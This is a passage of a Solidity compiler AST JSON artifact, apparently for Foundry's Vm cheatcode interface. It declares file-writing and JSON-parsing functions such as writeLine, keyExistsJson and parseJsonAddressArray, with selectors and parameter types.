root."},"functionSelector":"1f21fc80","implemented":false,"kind":"function","modifiers":[],"name":"writeFileBinary","nameLocation":"25751:15:13","parameters":{"id":12877,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12874,"mutability":"mutable","name":"path","nameLocation":"25783:4:13","nodeType":"VariableDeclaration","scope":12879,"src":"25767:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12873,"name":"string","nodeType":"ElementaryTypeName","src":"25767:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12876,"mutability":"mutable","name":"data","nameLocation":"25804:4:13","nodeType":"VariableDeclaration","scope":12879,"src":"25789:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":12875,"name":"bytes","nodeType":"ElementaryTypeName","src":"25789:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"25766:43:13"},"returnParameters":{"id":12878,"nodeType":"ParameterList","parameters":[],"src":"25818:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12887,"nodeType":"FunctionDefinition","src":"25940:72:13","nodes":[],"documentation":{"id":12880,"nodeType":"StructuredDocumentation","src":"25825:110:13","text":"Writes line to file, creating a file if it does not exist.\n `path` is relative to the project root."},"functionSelector":"619d897f","implemented":false,"kind":"function","modifiers":[],"name":"writeLine","nameLocation":"25949:9:13","parameters":{"id":12885,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12882,"mutability":"mutable","name":"path","nameLocation":"25975:4:13","nodeType":"VariableDeclaration","scope":12887,"src":"25959:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12881,"name":"string","nodeType":"ElementaryTypeName","src":"25959:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12884,"mutability":"mutable","name":"data","nameLocation":"25997:4:13","nodeType":"VariableDeclaration","scope":12887,"src":"25981:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12883,"name":"string","nodeType":"ElementaryTypeName","src":"25981:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"25958:44:13"},"returnParameters":{"id":12886,"nodeType":"ParameterList","parameters":[],"src":"26011:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12897,"nodeType":"FunctionDefinition","src":"26205:91:13","nodes":[],"documentation":{"id":12888,"nodeType":"StructuredDocumentation","src":"26049:151:13","text":"Checks if `key` exists in a JSON object\n `keyExists` is being deprecated in favor of `keyExistsJson`. It will be removed in future versions."},"functionSelector":"528a683c","implemented":false,"kind":"function","modifiers":[],"name":"keyExists","nameLocation":"26214:9:13","parameters":{"id":12893,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12890,"mutability":"mutable","name":"json","nameLocation":"26240:4:13","nodeType":"VariableDeclaration","scope":12897,"src":"26224:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12889,"name":"string","nodeType":"ElementaryTypeName","src":"26224:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12892,"mutability":"mutable","name":"key","nameLocation":"26262:3:13","nodeType":"VariableDeclaration","scope":12897,"src":"26246:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12891,"name":"string","nodeType":"ElementaryTypeName","src":"26246:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"26223:43:13"},"returnParameters":{"id":12896,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12895,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":12897,"src":"26290:4:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12894,"name":"bool","nodeType":"ElementaryTypeName","src":"26290:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"26289:6:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12907,"nodeType":"FunctionDefinition","src":"26351:95:13","nodes":[],"documentation":{"id":12898,"nodeType":"StructuredDocumentation","src":"26302:44:13","text":"Checks if `key` exists in a JSON object."},"functionSelector":"db4235f6","implemented":false,"kind":"function","modifiers":[],"name":"keyExistsJson","nameLocation":"26360:13:13","parameters":{"id":12903,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12900,"mutability":"mutable","name":"json","nameLocation":"26390:4:13","nodeType":"VariableDeclaration","scope":12907,"src":"26374:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12899,"name":"string","nodeType":"ElementaryTypeName","src":"26374:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12902,"mutability":"mutable","name":"key","nameLocation":"26412:3:13","nodeType":"VariableDeclaration","scope":12907,"src":"26396:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12901,"name":"string","nodeType":"ElementaryTypeName","src":"26396:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"26373:43:13"},"returnParameters":{"id":12906,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12905,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":12907,"src":"26440:4:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12904,"name":"bool","nodeType":"ElementaryTypeName","src":"26440:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"26439:6:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12917,"nodeType":"FunctionDefinition","src":"26527:101:13","nodes":[],"documentation":{"id":12908,"nodeType":"StructuredDocumentation","src":"26452:70:13","text":"Parses a string of JSON data at `key` and coerces it to `address`."},"functionSelector":"1e19e657","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonAddress","nameLocation":"26536:16:13","parameters":{"id":12913,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12910,"mutability":"mutable","name":"json","nameLocation":"26569:4:13","nodeType":"VariableDeclaration","scope":12917,"src":"26553:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12909,"name":"string","nodeType":"ElementaryTypeName","src":"26553:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12912,"mutability":"mutable","name":"key","nameLocation":"26591:3:13","nodeType":"VariableDeclaration","scope":12917,"src":"26575:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12911,"name":"string","nodeType":"ElementaryTypeName","src":"26575:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"26552:43:13"},"returnParameters":{"id":12916,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12915,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":12917,"src":"26619:7:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12914,"name":"address","nodeType":"ElementaryTypeName","src":"26619:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"26618:9:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":12928,"nodeType":"FunctionDefinition","src":"26711:139:13","nodes":[],"documentation":{"id":12918,"nodeType":"StructuredDocumentation","src":"26634:72:13","text":"Parses a string of JSON data at `key` and coerces it to `address[]`."},"functionSelector":"2fce7883","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonAddressArray","nameLocation":"26720:21:13","parameters":{"id":12923,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12920,"mutability":"mutable","name":"json","nameLocation":"26758:4:13","nodeType":"VariableDeclaration","scope":12928,"src":"26742:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12919,"name":"string","nodeType":"ElementaryTypeName","src":"26742:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12922,"mutability":"mutable","name":"key","nameLocation":"26780:3:13","nodeType":"VariableDeclaration","scope":12928,"src":"26764:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12921,"name":"string","nodeType":"ElementaryTypeName","src":"26764:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"26741:43:13"},"returnParameters":{"id":12927,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12926,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":12928,"src":"26832:16:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":12924,"name":"address","nodeType":"ElementaryTypeName","src":"26832:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":12925,"nodeType":"ArrayTypeName","src":"26832:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"}],"src":"26831:18:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":12938,"nodeType":"FunctionDefinition","src":"26928:95:13","nodes":[],"documentation":{"id":12929,"nodeType":"StructuredDocumentation","src":"26856:67:13","text":"Parses a string of JSON data at `key` and coerces it to `bool`."},"functionSelector":"9f86dc91","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonBool","nameLocation":"26937:13:13","parameters":{"id":12934,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12931,"mutability":"mutable","name":"json","nameLocation":"26967:4:13","nodeType":"VariableDeclaration","scope":12938,"src":"26951:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12930,"name":"string","nodeType":"ElementaryTypeName","src":"26951:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12933,"mutability":"mutable","name":"key","nameLocation":"26989:3:13","nodeType":"VariableDeclaration","scope":12938,"src":"26973:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12932,"name":"string","nodeType":"ElementaryTypeName","src":"26973:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"26950:43:13"},"returnParameters":{"id":12937,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12936,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":12938,"src":"27017:4:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12935,"name":"bool","nodeType":"ElementaryTypeName","src":"27017:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"27016:6:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":12949,"nodeType":"FunctionDefinition","src":"27103:109:13","nodes":[],"documentation":{"id":12939,"nodeType":"StructuredDocumentation","src":"27029:69:13","text":"Parses a string of JSON data at `key` and coerces it to `bool[]`."},"functionSelector":"91f3b94f","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonBoolArray","nameLocation":"27112:18:13","parameters":{"id":12944,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12941,"mutability":"mutable","name":"json","nameLocation":"27147:4:13","nodeType":"VariableDeclaration","scope":12949,"src":"27131:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12940,"name":"string","nodeType":"ElementaryTypeName","src":"27131:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12943,"mutability":"mutable","name":"key","nameLocation":"27169:3:13","nodeType":"VariableDeclaration","scope":12949,"src":"27153:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12942,"name":"string","nodeType":"ElementaryTypeName","src":"27153:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"27130:43:13"},"returnParameters":{"id":12948,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12947,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":12949,"src":"27197:13:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[]"},"typeName":{"baseType":{"id":12945,"name":"bool","nodeType":"ElementaryTypeName","src":"27197:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":12946,"nodeType":"ArrayTypeName","src":"27197:6:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_storage_ptr","typeString":"bool[]"}},"visibility":"internal"}],"src":"27196:15:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":12959,"nodeType":"FunctionDefinition","src":"27291:104:13","nodes":[],"documentation":{"id":12950,"nodeType":"StructuredDocumentation","src":"27218:68:13","text":"Parses a string of JSON data at `key` and coerces it to `bytes`."},"functionSelector":"fd921be8","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonBytes","nameLocation":"27300:14:13","parameters":{"id":12955,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12952,"mutability":"mutable","name":"json","nameLocation":"27331:4:13","nodeType":"VariableDeclaration","scope":12959,"src":"27315:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12951,"name":"string","nodeType":"ElementaryTypeName","src":"27315:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12954,"mutability":"mutable","name":"key","nameLocation":"27353:3:13","nodeType":"VariableDeclaration","scope":12959,"src":"27337:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12953,"name":"string","nodeType":"ElementaryTypeName","src":"27337:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"27314:43:13"},"returnParameters":{"id":12958,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12957,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":12959,"src":"27381:12:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":12956,"name":"bytes","nodeType":"ElementaryTypeName","src":"27381:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"27380:14:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":12969,"nodeType":"FunctionDefinition","src":"27476:101:13","nodes":[],"documentation":{"id":12960,"nodeType":"StructuredDocumentation","src":"27401:70:13","text":"Parses a string of JSON data at `key` and coerces it to `bytes32`."},"functionSelector":"1777e59d","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonBytes32","nameLocation":"27485:16:13","parameters":{"id":12965,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12962,"mutability":"mutable","name":"json","nameLocation":"27518:4:13","nodeType":"VariableDeclaration","scope":12969,"src":"27502:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12961,"name":"string","nodeType":"ElementaryTypeName","src":"27502:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12964,"mutability":"mutable","name":"key","nameLocation":"27540:3:13","nodeType":"VariableDeclaration","scope":12969,"src":"27524:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12963,"name":"string","nodeType":"ElementaryTypeName","src":"27524:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"27501:43:13"},"returnParameters":{"id":12968,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12967,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":12969,"src":"27568:7:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12966,"name":"bytes32","nodeType":"ElementaryTypeName","src":"27568:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"27567:9:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":12980,"nodeType":"FunctionDefinition","src":"27660:139:13","nodes":[],"documentation":{"id":12970,"nodeType":"StructuredDocumentation","src":"27583:72:13","text":"Parses a string of JSON data at `key` and coerces it to `bytes32[]`."},"functionSelector":"91c75bc3","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonBytes32Array","nameLocation":"27669:21:13","parameters":{"id":12975,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12972,"mutability":"mutable","name":"json","nameLocation":"27707:4:13","nodeType":"VariableDeclaration","scope":12980,"src":"27691:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12971,"name":"string","nodeType":"ElementaryTypeName","src":"27691:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12974,"mutability":"mutable","name":"key","nameLocation":"27729:3:13","nodeType":"VariableDeclaration","scope":12980,"src":"27713:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12973,"name":"string","nodeType":"ElementaryTypeName","src":"27713:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"27690:43:13"},"returnParameters":{"id":12979,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12978,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":12980,"src":"27781:16:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":12976,"name":"bytes32","nodeType":"ElementaryTypeName","src":"27781:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":12977,"nodeType":"ArrayTypeName","src":"27781:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"}],"src":"27780:18:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":12991,"nodeType":"FunctionDefinition","src":"27880:111:13","nodes":[],"documentation":{"id":12981,"nodeType":"StructuredDocumentation","src":"27805:70:13","text":"Parses a string of JSON data at `key` and coerces it to `bytes[]`."},"functionSelector":"6631aa99","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonBytesArray","nameLocation":"27889:19:13","parameters":{"id":12986,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12983,"mutability":"mutable","name":"json","nameLocation":"27925:4:13","nodeType":"VariableDeclaration","scope":12991,"src":"27909:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12982,"name":"string","nodeType":"ElementaryTypeName","src":"27909:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12985,"mutability":"mutable","name":"key","nameLocation":"27947:3:13","nodeType":"VariableDeclaration","scope":12991,"src":"27931:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12984,"name":"string","nodeType":"ElementaryTypeName","src":"27931:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"27908:43:13"},"returnParameters":{"id":12990,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12989,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":12991,"src":"27975:14:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":12987,"name":"bytes","nodeType":"ElementaryTypeName","src":"27975:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":12988,"nodeType":"ArrayTypeName","src":"27975:7:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"}],"src":"27974:16:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13001,"nodeType":"FunctionDefinition","src":"28071:96:13","nodes":[],"documentation":{"id":12992,"nodeType":"StructuredDocumentation","src":"27997:69:13","text":"Parses a string of JSON data at `key` and coerces it to `int256`."},"functionSelector":"7b048ccd","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonInt","nameLocation":"28080:12:13","parameters":{"id":12997,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12994,"mutability":"mutable","name":"json","nameLocation":"28109:4:13","nodeType":"VariableDeclaration","scope":13001,"src":"28093:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12993,"name":"string","nodeType":"ElementaryTypeName","src":"28093:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12996,"mutability":"mutable","name":"key","nameLocation":"28131:3:13","nodeType":"VariableDeclaration","scope":13001,"src":"28115:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12995,"name":"string","nodeType":"ElementaryTypeName","src":"28115:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"28092:43:13"},"returnParameters":{"id":13000,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12999,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":13001,"src":"28159:6:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":12998,"name":"int256","nodeType":"ElementaryTypeName","src":"28159:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"28158:8:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13012,"nodeType":"FunctionDefinition","src":"28249:110:13","nodes":[],"documentation":{"id":13002,"nodeType":"StructuredDocumentation","src":"28173:71:13","text":"Parses a string of JSON data at `key` and coerces it to `int256[]`."},"functionSelector":"9983c28a","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonIntArray","nameLocation":"28258:17:13","parameters":{"id":13007,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13004,"mutability":"mutable","name":"json","nameLocation":"28292:4:13","nodeType":"VariableDeclaration","scope":13012,"src":"28276:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13003,"name":"string","nodeType":"ElementaryTypeName","src":"28276:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13006,"mutability":"mutable","name":"key","nameLocation":"28314:3:13","nodeType":"VariableDeclaration","scope":13012,"src":"28298:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13005,"name":"string","nodeType":"ElementaryTypeName","src":"28298:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"28275:43:13"},"returnParameters":{"id":13011,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13010,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":13012,"src":"28342:15:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_memory_ptr","typeString":"int256[]"},"typeName":{"baseType":{"id":13008,"name":"int256","nodeType":"ElementaryTypeName","src":"28342:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"id":13009,"nodeType":"ArrayTypeName","src":"28342:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_storage_ptr","typeString":"int256[]"}},"visibility":"internal"}],"src":"28341:17:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13023,"nodeType":"FunctionDefinition","src":"28424:111:13","nodes":[],"documentation":{"id":13013,"nodeType":"StructuredDocumentation","src":"28365:54:13","text":"Returns an array of all the keys in a JSON object."},"functionSelector":"213e4198","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonKeys","nameLocation":"28433:13:13","parameters":{"id":13018,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13015,"mutability":"mutable","name":"json","nameLocation":"28463:4:13","nodeType":"VariableDeclaration","scope":13023,"src":"28447:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13014,"name":"string","nodeType":"ElementaryTypeName","src":"28447:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13017,"mutability":"mutable","name":"key","nameLocation":"28485:3:13","nodeType":"VariableDeclaration","scope":13023,"src":"28469:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13016,"name":"string","nodeType":"ElementaryTypeName","src":"28469:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"28446:43:13"},"returnParameters":{"id":13022,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13021,"mutability":"mutable","name":"keys","nameLocation":"28529:4:13","nodeType":"VariableDeclaration","scope":13023,"src":"28513:20:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":13019,"name":"string","nodeType":"ElementaryTypeName","src":"28513:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":13020,"nodeType":"ArrayTypeName","src":"28513:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"28512:22:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13033,"nodeType":"FunctionDefinition","src":"28615:106:13","nodes":[],"documentation":{"id":13024,"nodeType":"StructuredDocumentation","src":"28541:69:13","text":"Parses a string of JSON data at `key` and coerces it to 